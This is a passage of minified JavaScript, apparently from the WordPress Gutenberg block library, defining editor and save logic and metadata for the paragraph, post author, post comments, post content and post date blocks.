6.52S3.02 2 5.52 2zM14 14l5-4-5-4v8z"}));function zg(e){const{batch:t}=(0,it.useRegistry)(),{moveBlocksToPosition:n,replaceInnerBlocks:o,duplicateBlocks:a,insertBlock:r}=(0,it.useDispatch)(Ze.store),{getBlockRootClientId:l,getBlockIndex:i,getBlockOrder:s,getBlockName:c,getBlock:u,getNextBlockClientId:m}=(0,it.useSelect)(Ze.store),d=(0,$e.useRef)(e);return d.current=e,(0,Wt.useRefEffect)((e=>{function p(e){if(e.defaultPrevented)return;if(e.keyCode!==rn.ENTER)return;const{content:p,clientId:g}=d.current;if(p.length)return;const h=l(g);if(!(0,Ge.hasBlockSupport)(c(h),"__experimentalOnEnter",!1))return;const v=s(h);e.preventDefault();const b=v.indexOf(g);if(b===v.length-1)return void n([g],h,l(h),i(h)+1);const _=u(h);t((()=>{a([h]);const e=i(h);o(h,_.innerBlocks.slice(0,b)),o(m(h),_.innerBlocks.slice(b+1)),r((0,Ge.createBlock)("core/paragraph"),e+1,l(h),!0)}))}return e.addEventListener("keydown",p),()=>{e.removeEventListener("keydown",p)}}),[])}const Mg={hide:{opacity:0,scaleY:.75},show:{opacity:1,scaleY:1},exit:{opacity:0,scaleY:.9}};function Lg(e){let{paragraphElement:t,clientId:n}=e;const{rootClientId:o,blockIndex:a}=(0,it.useSelect)((e=>{const t=e(Ze.store);return{rootClientId:t.getBlockRootClientId(n),blockIndex:t.getBlockIndex(n)}}),[n]),r=(0,Ze.__experimentalUseOnBlockDrop)(o,a,{action:"replace"}),[l,i]=(0,$e.useState)(!1),[s,c]=(0,$e.useState)(!1),u=(0,Wt.__experimentalUseDropZone)({onDragStart:()=>{i(!0)},onDragEnd:()=>{i(!1)}}),m=(0,Wt.__experimentalUseDropZone)({onDrop:r,onDragEnter:()=>{c(!0)},onDragLeave:()=>{c(!1)}}),d=(0,Wt.useReducedMotion)();return(0,$e.createElement)(We.Popover,{anchor:t,animate:!1,placement:"top-start",focusOnMount:!1,flip:!1,resize:!1,className:"wp-block-paragraph__drop-zone",ref:u},l?(0,$e.createElement)("div",{className:"wp-block-paragraph__drop-zone-backdrop",ref:m,style:{width:null==t?void 0:t.offsetWidth,height:null==t?void 0:t.offsetHeight}},(0,$e.createElement)(We.__unstableAnimatePresence,null,s?(0,$e.createElement)(We.__unstableMotion.div,{key:"drop-zone-foreground","data-testid":"empty-paragraph-drop-zone",initial:d?Mg.show:Mg.hide,animate:Mg.show,exit:d?Mg.show:Mg.exit,className:"wp-block-paragraph__drop-zone-foreground"}):null)):null)}function Rg(e){let{direction:t,setDirection:n}=e;return(0,je.isRTL)()&&(0,$e.createElement)(We.ToolbarButton,{icon:Ig,title:(0,je._x)("Left to right","editor button"),isActive:"ltr"===t,onClick:()=>{n("ltr"===t?void 0:"ltr")}})}function Ag(e){return e===((0,je.isRTL)()?"left":"right")||"center"===e}const{name:Vg}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/paragraph",title:"Paragraph",category:"text",description:"Start with the basic building block of all narrative.",keywords:["text"],textdomain:"default",attributes:{align:{type:"string"},content:{type:"string",source:"html",selector:"p",default:"",__experimentalRole:"content"},dropCap:{type:"boolean",default:!1},placeholder:{type:"string"},direction:{type:"string",enum:["ltr","rtl"]}},supports:{anchor:!0,className:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalSelector:"p",__unstablePasteTextInline:!0},editorStyle:"wp-block-paragraph-editor",style:"wp-block-paragraph"},Hg={from:[{type:"raw",priority:20,selector:"p",schema:e=>{let{phrasingContentSchema:t,isPaste:n}=e;return{p:{children:t,attributes:n?[]:["style","id"]}}},transform(e){const t=(0,Ge.getBlockAttributes)(Vg,e.outerHTML),{textAlign:n}=e.style||{};return"left"!==n&&"center"!==n&&"right"!==n||(t.align=n),(0,Ge.createBlock)(Vg,t)}}]},Dg=Hg,Fg={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/paragraph",title:"Paragraph",category:"text",description:"Start with the basic building block of all narrative.",keywords:["text"],textdomain:"default",attributes:{align:{type:"string"},content:{type:"string",source:"html",selector:"p",default:"",__experimentalRole:"content"},dropCap:{type:"boolean",default:!1},placeholder:{type:"string"},direction:{type:"string",enum:["ltr","rtl"]}},supports:{anchor:!0,className:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalSelector:"p",__unstablePasteTextInline:!0},editorStyle:"wp-block-paragraph-editor",style:"wp-block-paragraph"},{name:Gg}=Fg,$g={icon:wg,example:{attributes:{content:(0,je.__)("In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing."),style:{typography:{fontSize:28}},dropCap:!0}},__experimentalLabel(e,t){let{context:n}=t;if("accessibility"===n){const{content:t}=e;return(0,St.isEmpty)(t)?(0,je.__)("Empty"):t}},transforms:Dg,deprecated:Pg,merge:(e,t)=>({content:(e.content||"")+(t.content||"")}),edit:function(e){let{attributes:t,mergeBlocks:n,onReplace:o,onRemove:a,setAttributes:r,clientId:l}=e;const{align:i,content:s,direction:c,dropCap:u,placeholder:m}=t,d=(0,Ze.useSetting)("typography.dropCap"),[p,g]=(0,$e.useState)(null),h=(0,Ze.useBlockProps)({ref:(0,Wt.useMergeRefs)([zg({clientId:l,content:s}),g]),className:at()({"has-drop-cap":!Ag(i)&&u,[`has-text-align-${i}`]:i}),style:{direction:c}});let v;return v=Ag(i)?(0,je.__)("Not available for aligned text."):u?(0,je.__)("Showing large initial letter."):(0,je.__)("Toggle to show a large initial letter."),(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:i,onChange:e=>r({align:e,dropCap:!Ag(e)&&u})}),(0,$e.createElement)(Rg,{direction:c,setDirection:e=>r({direction:e})})),d&&(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"typography"},(0,$e.createElement)(We.__experimentalToolsPanelItem,{hasValue:()=>!!u,label:(0,je.__)("Drop cap"),onDeselect:()=>r({dropCap:void 0}),resetAllFilter:()=>({dropCap:void 0}),panelId:l},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Drop cap"),checked:!!u,onChange:()=>r({dropCap:!u}),help:v,disabled:!!Ag(i)}))),!s&&(0,$e.createElement)(Lg,{clientId:l,paragraphElement:p}),(0,$e.createElement)(Ze.RichText,nt({identifier:"content",tagName:"p"},h,{value:s,onChange:e=>r({content:e}),onSplit:(e,n)=>{let o;(n||e)&&(o={...t,content:e});const a=(0,Ge.createBlock)("core/paragraph",o);return n&&(a.clientId=l),a},onMerge:n,onReplace:o,onRemove:a,"aria-label":s?(0,je.__)("Paragraph block"):(0,je.__)("Empty block; start writing or type forward slash to choose a block"),"data-empty":!s,placeholder:m||(0,je.__)("Type / to choose a block"),"data-custom-placeholder":!!m||void 0,__unstableEmbedURLOnPaste:!0,__unstableAllowPrefixTransformations:!0})))},save:function(e){let{attributes:t}=e;const{align:n,content:o,dropCap:a,direction:r}=t,l=at()({"has-drop-cap":n!==((0,je.isRTL)()?"left":"right")&&"center"!==n&&a,[`has-text-align-${n}`]:n});return(0,$e.createElement)("p",Ze.useBlockProps.save({className:l,dir:r}),(0,$e.createElement)(Ze.RichText.Content,{value:o}))}},Ug=()=>qe({name:Gg,metadata:Fg,settings:$g}),Og=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M10 4.5a1 1 0 11-2 0 1 1 0 012 0zm1.5 0a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm2.25 7.5v-1A2.75 2.75 0 0011 8.25H7A2.75 2.75 0 004.25 11v1h1.5v-1c0-.69.56-1.25 1.25-1.25h4c.69 0 1.25.56 1.25 1.25v1h1.5zM4 20h9v-1.5H4V20zm16-4H4v-1.5h16V16z",fillRule:"evenodd",clipRule:"evenodd"})),qg={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-author",title:"Post Author",category:"theme",description:"Display post author details such as name, avatar, and bio.",textdomain:"default",attributes:{textAlign:{type:"string"},avatarSize:{type:"number",default:48},showAvatar:{type:"boolean",default:!0},showBio:{type:"boolean"},byline:{type:"string"},isLink:{type:"boolean",default:!1},linkTarget:{type:"string",default:"_self"}},usesContext:["postType","postId","queryId"],supports:{html:!1,spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDuotone:".wp-block-post-author__avatar img",__experimentalDefaultControls:{background:!0,text:!0}}},editorStyle:"wp-block-post-author-editor",style:"wp-block-post-author"},{name:Wg}=qg,jg={icon:Og,edit:function(e){let{isSelected:t,context:{postType:n,postId:o,queryId:a},attributes:r,setAttributes:l}=e;const i=Number.isFinite(a),{authorId:s,authorDetails:c,authors:u}=(0,it.useSelect)((e=>{var t;const{getEditedEntityRecord:a,getUser:r,getUsers:l}=e(lt.store),i=null===(t=a("postType",n,o))||void 0===t?void 0:t.author;return{authorId:i,authorDetails:i?r(i):null,authors:l({who:"authors"})}}),[n,o]),{editEntityRecord:m}=(0,it.useDispatch)(lt.store),{textAlign:d,showAvatar:p,showBio:g,byline:h,isLink:v,linkTarget:b}=r,_=[],y=(null==c?void 0:c.name)||(0,je.__)("Post Author");c&&Object.keys(c.avatar_urls).forEach((e=>{_.push({value:e,label:`${e} x ${e}`})}));const f=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${d}`]:d})});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},!!o&&!i&&!(null==u||!u.length)&&(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Author"),value:s,options:u.map((e=>{let{id:t,name:n}=e;return{value:t,label:n}})),onChange:e=>{m("postType",n,o,{author:e})}}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show avatar"),checked:p,onChange:()=>l({showAvatar:!p})}),p&&(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Avatar size"),value:r.avatarSize,options:_,onChange:e=>{l({avatarSize:Number(e)})}}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show bio"),checked:g,onChange:()=>l({showBio:!g})}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Link author name to author page"),checked:v,onChange:()=>l({isLink:!v})}),v&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),onChange:e=>l({linkTarget:e?"_blank":"_self"}),checked:"_blank"===b}))),(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:d,onChange:e=>{l({textAlign:e})}})),(0,$e.createElement)("div",f,p&&c&&(0,$e.createElement)("div",{className:"wp-block-post-author__avatar"},(0,$e.createElement)("img",{width:r.avatarSize,src:c.avatar_urls[r.avatarSize],alt:c.name})),(0,$e.createElement)("div",{className:"wp-block-post-author__content"},(!Ze.RichText.isEmpty(h)||t)&&(0,$e.createElement)(Ze.RichText,{className:"wp-block-post-author__byline",multiline:!1,"aria-label":(0,je.__)("Post author byline text"),placeholder:(0,je.__)("Write byline…"),value:h,onChange:e=>l({byline:e})}),(0,$e.createElement)("p",{className:"wp-block-post-author__name"},v?(0,$e.createElement)("a",{href:"#post-author-pseudo-link",onClick:e=>e.preventDefault()},y):y),g&&(0,$e.createElement)("p",{className:"wp-block-post-author__bio",dangerouslySetInnerHTML:{__html:null==c?void 0:c.description}}))))}},Zg=()=>qe({name:Wg,metadata:qg,settings:jg}),Qg={from:[{type:"block",blocks:["core/post-author"],transform:e=>{let{textAlign:t}=e;return(0,Ge.createBlock)("core/post-author-name",{textAlign:t})}}],to:[{type:"block",blocks:["core/post-author"],transform:e=>{let{textAlign:t}=e;return(0,Ge.createBlock)("core/post-author",{textAlign:t})}}]},Kg={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,__experimental:!0,name:"core/post-author-name",title:"Post Author Name",category:"theme",description:"The author name.",textdomain:"default",attributes:{textAlign:{type:"string"},isLink:{type:"boolean",default:!1},linkTarget:{type:"string",default:"_self"}},usesContext:["postType","postId"],supports:{html:!1,spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:Yg}=Kg,Jg={icon:Og,transforms:Qg,edit:function(e){let{context:{postType:t,postId:n},attributes:{textAlign:o,isLink:a,linkTarget:r},setAttributes:l}=e;const{authorName:i}=(0,it.useSelect)((e=>{var o;const{getEditedEntityRecord:a,getUser:r}=e(lt.store),l=null===(o=a("postType",t,n))||void 0===o?void 0:o.author;return{authorName:l?r(l):null}}),[t,n]),s=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${o}`]:o})}),c=(null==i?void 0:i.name)||(0,je.__)("Author Name"),u=a?(0,$e.createElement)("a",{href:"#author-pseudo-link",onClick:e=>e.preventDefault(),className:"wp-block-post-author-name__link"},c):c;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:o,onChange:e=>{l({textAlign:e})}})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Link settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Link to author archive"),onChange:()=>l({isLink:!a}),checked:a}),a&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),onChange:e=>l({linkTarget:e?"_blank":"_self"}),checked:"_blank"===r}))),(0,$e.createElement)("div",s," ",u," "))}},Xg=()=>qe({name:Yg,metadata:Kg,settings:Jg}),eh={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-author-biography",title:"Post Author Biography",category:"theme",description:"The author biography.",textdomain:"default",attributes:{textAlign:{type:"string"}},usesContext:["postType","postId"],supports:{spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:th}=eh,nh={icon:Og,edit:function(e){let{context:{postType:t,postId:n},attributes:{textAlign:o},setAttributes:a}=e;const{authorDetails:r}=(0,it.useSelect)((e=>{var o;const{getEditedEntityRecord:a,getUser:r}=e(lt.store),l=null===(o=a("postType",t,n))||void 0===o?void 0:o.author;return{authorDetails:l?r(l):null}}),[t,n]),l=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${o}`]:o})}),i=(null==r?void 0:r.description)||(0,je.__)("Author Biography");return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:o,onChange:e=>{a({textAlign:e})}})),(0,$e.createElement)("div",nt({},l,{dangerouslySetInnerHTML:{__html:i}})))}},oh=()=>qe({name:th,metadata:eh,settings:nh}),ah=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z"})),rh=["core/avatar","core/comment-author-name","core/comment-content","core/comment-date","core/comment-edit-link","core/comment-reply-link"],lh=[["core/avatar"],["core/comment-author-name"],["core/comment-date"],["core/comment-content"],["core/comment-reply-link"],["core/comment-edit-link"]],ih={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,__experimental:"fse",name:"core/post-comment",title:"Post Comment (deprecated)",category:"theme",description:"This block is deprecated. Please use the Comments block instead.",textdomain:"default",attributes:{commentId:{type:"number"}},providesContext:{commentId:"commentId"},supports:{html:!1,inserter:!1}},{name:sh}=ih,ch={icon:_u,edit:function(e){let{attributes:{commentId:t},setAttributes:n}=e;const[o,a]=(0,$e.useState)(t),r=(0,Ze.useBlockProps)(),l=(0,Ze.useInnerBlocksProps)(r,{template:lh,allowedBlocks:rh});return t?(0,$e.createElement)("div",l):(0,$e.createElement)("div",r,(0,$e.createElement)(We.Placeholder,{icon:ah,label:(0,je._x)("Post Comment","block title"),instructions:(0,je.__)("To show a comment, input the comment ID.")},(0,$e.createElement)(We.TextControl,{value:t,onChange:e=>a(parseInt(e))}),(0,$e.createElement)(We.Button,{variant:"primary",onClick:()=>{n({commentId:o})}},(0,je.__)("Save"))))},save:function(){const e=Ze.useBlockProps.save(),t=Ze.useInnerBlocksProps.save(e);return(0,$e.createElement)("div",t)}},uh=()=>qe({name:sh,metadata:ih,settings:ch}),mh=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M13 8H4v1.5h9V8zM4 4v1.5h16V4H4zm9 8H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1V13c0-.6-.4-1-1-1zm-2.2 6.6H7l1.6-2.2c.3-.4.5-.7.6-.9.1-.2.2-.4.2-.5 0-.2-.1-.3-.1-.4-.1-.1-.2-.1-.4-.1s-.4 0-.6.1c-.3.1-.5.3-.7.4l-.2.2-.2-1.2.1-.1c.3-.2.5-.3.8-.4.3-.1.6-.1.9-.1.3 0 .6.1.9.2.2.1.4.3.6.5.1.2.2.5.2.7 0 .3-.1.6-.2.9-.1.3-.4.7-.7 1.1l-.5.6h1.6v1.2z"})),dh={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,__experimental:"fse",name:"core/post-comments-count",title:"Post Comments Count",category:"theme",description:"Display a post's comments count.",textdomain:"default",attributes:{textAlign:{type:"string"}},usesContext:["postId"],supports:{html:!1,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:ph}=dh,gh={icon:mh,edit:function(e){var t;let{attributes:n,context:o,setAttributes:a}=e;const{textAlign:r}=n,{postId:l}=o,[i,s]=(0,$e.useState)(),c=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${r}`]:r})});(0,$e.useEffect)((()=>{if(!l)return;const e=l;Ca()({path:(0,rt.addQueryArgs)("/wp/v2/comments",{post:l}),parse:!1}).then((t=>{e===l&&s(t.headers.get("X-WP-Total"))}))}),[l]);const u=l&&void 0!==i,m={...c.style,textDecoration:u?null===(t=c.style)||void 0===t?void 0:t.textDecoration:void 0};return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:r,onChange:e=>{a({textAlign:e})}})),(0,$e.createElement)("div",nt({},c,{style:m}),u?i:(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Post Comments Count block: post not found."))))}},hh=()=>qe({name:ph,metadata:dh,settings:gh}),vh=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M13 8H4v1.5h9V8zM4 4v1.5h16V4H4zm9 8H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1V13c0-.6-.4-1-1-1zm-.5 6.6H6.7l-1.2 1.2v-6.3h7v5.1z"})),bh={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-comments-form",title:"Post Comments Form",category:"theme",description:"Display a post's comments form.",textdomain:"default",attributes:{textAlign:{type:"string"}},usesContext:["postId","postType"],supports:{html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-post-comments-form-editor",style:["wp-block-post-comments-form","wp-block-buttons","wp-block-button"]},{name:_h}=bh,yh={icon:vh,edit:function(e){let{attributes:t,context:n,setAttributes:o}=e;const{textAlign:a}=t,{postId:r,postType:l}=n,i=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${a}`]:a})});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:a,onChange:e=>{o({textAlign:e})}})),(0,$e.createElement)("div",i,(0,$e.createElement)(Ro,{postId:r,postType:l})))}},fh=()=>qe({name:_h,metadata:bh,settings:yh}),kh={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,__experimental:"fse",name:"core/post-comments-link",title:"Post Comments Link",category:"theme",description:"Displays the link to the current post comments.",textdomain:"default",usesContext:["postType","postId"],attributes:{textAlign:{type:"string"}},supports:{html:!1,color:{link:!0,text:!1,__experimentalDefaultControls:{background:!0,link:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:xh}=kh,wh={edit:function(e){let{context:t,attributes:n,setAttributes:o}=e;const{textAlign:a}=n,{postType:r,postId:l}=t,[i,s]=(0,$e.useState)(),c=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${a}`]:a})});(0,$e.useEffect)((()=>{if(!l)return;const e=l;Ca()({path:(0,rt.addQueryArgs)("/wp/v2/comments",{post:l}),parse:!1}).then((t=>{e===l&&s(t.headers.get("X-WP-Total"))}))}),[l]);const u=(0,it.useSelect)((e=>e(lt.store).getEditedEntityRecord("postType",r,l)),[r,l]);if(!u)return null;const{link:m}=u;let d;if(void 0!==i){const e=parseInt(i);d=0===e?(0,je.__)("No comments"):(0,je.sprintf)(
/* translators: %s: Number of comments */
(0,je._n)("%s comment","%s comments",e),e.toLocaleString())}return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:a,onChange:e=>{o({textAlign:e})}})),(0,$e.createElement)("div",c,m&&void 0!==d?(0,$e.createElement)("a",{href:m+"#comments",onClick:e=>e.preventDefault()},d):(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Post Comments Link block: post not found."))))},icon:mh},Eh=()=>qe({name:xh,metadata:kh,settings:wh});function Ch(e,t,n){return(0,it.useSelect)((o=>o(lt.store).canUserEditEntityRecord(e,t,n)),[e,t,n])}function Sh(e){let{userCanEdit:t,postType:n,postId:o}=e;const[,,a]=(0,lt.useEntityProp)("postType",n,"content",o),r=(0,Ze.useBlockProps)();return null!=a&&a.protected&&!t?(0,$e.createElement)("div",r,(0,$e.createElement)(Ze.Warning,null,(0,je.__)("This content is password protected."))):(0,$e.createElement)("div",nt({},r,{dangerouslySetInnerHTML:{__html:null==a?void 0:a.rendered}}))}function Bh(e){let{layout:t,context:n={}}=e;const{postType:o,postId:a}=n,r=(0,it.useSelect)((e=>{var t;const{getSettings:n}=e(Ze.store);return null===(t=n())||void 0===t?void 0:t.supportsLayout}),[]),l=(0,Ze.useSetting)("layout")||{},i=null!=t&&t.type?{...l,...t}:{...l,...t,type:"default"},[s,c,u]=(0,lt.useEntityBlockEditor)("postType",o,{id:a}),m=(0,Ze.useInnerBlocksProps)((0,Ze.useBlockProps)({className:"entry-content"}),{value:s,onInput:c,onChange:u,__experimentalLayout:r?i:void 0});return(0,$e.createElement)("div",m)}function Th(e){const{context:{queryId:t,postType:n,postId:o}={}}=e,a=Number.isFinite(t),r=Ch("postType",n,o);return r&&!a?(0,$e.createElement)(Bh,e):(0,$e.createElement)(Sh,{userCanEdit:r,postType:n,postId:o})}function Nh(){const e=(0,Ze.useBlockProps)();return(0,$e.createElement)("div",e,(0,$e.createElement)("p",null,(0,je.__)("This is the Post Content block, it will display all the blocks in any single post or page.")),(0,$e.createElement)("p",null,(0,je.__)("That might be a simple arrangement like consecutive paragraphs in a blog post, or a more elaborate composition that includes image galleries, videos, tables, columns, and any other block types.")),(0,$e.createElement)("p",null,(0,je.__)("If there are any Custom Post Types registered at your site, the Post Content block can display the contents of those entries as well.")))}function Ph(){const e=(0,Ze.useBlockProps)();return(0,$e.createElement)("div",e,(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Block cannot be rendered inside itself.")))}const Ih={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-content",title:"Post Content",category:"theme",description:"Displays the contents of a post or page.",textdomain:"default",usesContext:["postId","postType","queryId"],supports:{align:["wide","full"],html:!1,__experimentalLayout:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-post-content-editor"},{name:zh}=Ih,Mh={icon:zp,edit:function(e){let{context:t,attributes:n}=e;const{postId:o,postType:a}=t,{layout:r={}}=n,l=(0,Ze.__experimentalUseHasRecursion)(o);return o&&a&&l?(0,$e.createElement)(Ph,null):(0,$e.createElement)(Ze.__experimentalRecursionProvider,{uniqueId:o},o&&a?(0,$e.createElement)(Th,{context:t,layout:r}):(0,$e.createElement)(Nh,null))}},Lh=()=>qe({name:zh,metadata:Ih,settings:Mh});function Rh(e){return/(?:^|[^\\])[aAgh]/.test(e)}const Ah={attributes:{textAlign:{type:"string"},format:{type:"string"},isLink:{type:"boolean",default:!1}},supports:{html:!1,color:{gradients:!0,link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0}},save:()=>null,migrate:Kt,isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 0:t.fontFamily}},Vh=[Ah],Hh={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-date",title:"Post Date",category:"theme",description:"Add the date of this post.",textdomain:"default",attributes:{textAlign:{type:"string"},format:{type:"string"},isLink:{type:"boolean",default:!1},displayType:{type:"string",default:"date"}},usesContext:["postId","postType","queryId"],supports:{html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:Dh}=Hh,Fh={icon:ra,edit:function(e){let{attributes:{textAlign:t,format:n,isLink:o,displayType:a},context:{postId:r,postType:l,queryId:i},setAttributes:s}=e;const c=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${t}`]:t})}),[u,m]=(0,$e.useState)(null),d=(0,$e.useMemo)((()=>({anchor:u})),[u]),p=Number.isFinite(i),g=(0,la.getSettings)(),[h=g.formats.date]=(0,lt.useEntityProp)("root","site","date_format"),[v=g.formats.time]=(0,lt.useEntityProp)("root","site","time_format"),[b,_]=(0,lt.useEntityProp)("postType",l,a,r),y=(0,it.useSelect)((e=>l?e(lt.store).getPostType(l):null),[l]);let f=b?(0,$e.createElement)("time",{dateTime:(0,la.dateI18n)("c",b),ref:m},(0,la.dateI18n)(n||h,b)):(0,je.__)("Post Date");return 